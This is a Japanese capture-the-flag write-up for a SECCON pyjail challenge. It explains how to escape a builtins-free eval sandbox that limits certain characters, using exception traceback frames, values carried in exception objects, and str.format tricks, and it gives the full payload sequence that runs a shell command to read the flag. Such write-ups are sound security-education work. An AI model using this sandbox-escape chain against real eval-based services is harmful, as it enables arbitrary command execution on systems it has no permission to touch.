- Source: SECCON 14 Quals
- Author: Ark
builtinsなし、.,(+)の文字は1回までしか使えないという制約下でRCEするというpyjail問。変わった点として、何度でも試行でき、発生させた例外を次の試行に持ち越すことができる。
#!/usr/local/bin/python3
ex = None
while (code := input("jail> ")) and all(code.count(c) <= 1 for c in ".,(+)"):
try:
eval(code, {"__builtins__": {}, "ex": ex})
except Exception as e:
ex = e
一旦文字種の制約を無視して考える。Exceptionからコマンド実行につなげる方法として、このページにこんなテクが載っていた。
これでbuiltinsにアクセスできるので、
ex.__traceback__.tb_frame.f_builtins["__import__"]("os").system("id")
のような形でRCEに持ち込むことができる。
さて、.が1回しか使えないという制約下でこのチェーンを実行するにはどうすれば良いか。
次の試行に持ち込めるのはExceptionしかないためその中に引き継ぎたい値を入れ込むことになる訳だが、これはKeyErrorを用いることで実現できる。具体的には、{}[value]のような形でKeyErrorを発生させるとe.args[0]はvalueになる。
try:
{}[value]
except Exception as e:
print(e.args[0]) # value
しかしこのままでは値の取得と引継ぎそれぞれで.が必要になってしまう。そこで.format()を使い、無理やり.を1つにまとめる。具体的には、このように書き換える。
# これらは等価
ex.__traceback__.tb_frame
"{0\x2e__traceback__\x2etb_frame}".format(ex)
この時、"{0\x2e__traceback__\x2ehoge}".format(ex)のように存在しないkeyを入れるとAttributeErrorのex.objに格納され、持ち越すことができる。
print(ex.__traceback__) # <traceback object at 0x7cc69f954080>
try:
"{0\x2e__traceback__\x2ehoge}".format(ex)
except Exception as e:
print(e.obj) # <traceback object at 0x7cc69f954080>
以上のテクニックを組み合わせて、cat /flag*をRCEする。
# print(ex.__traceback__.tb_frame.f_builtins["__import__"]("os").system("cat /flag*"))
try:
1/0
except Exception as e:
ex = e
try:
"{0\x2e__traceback__\x2etb_frame\x2ef_builtins[__import__]\x2ehoge}".format(ex)
except Exception as e:
ex = e
try:
{}[ex.obj("os")]
except Exception as e:
ex = e
try:
"{0\x2eargs[0]\x2esystem\x2ehoge}".format(ex)
except Exception as e:
ex = e
ex.obj("cat /flag*")
これを1行ずつ渡していくと、flagが得られた。
nc excepython.seccon.games 5000
jail> 1/0
jail> "{0\x2e__traceback__\x2etb_frame\x2ef_builtins[__import__]\x2ehoge}".format(ex)
jail> {}[ex.obj("os")]
jail> "{0\x2eargs[0]\x2esystem\x2ehoge}".format(ex)
jail> ex.obj("cat /flag*")
SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}
SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}
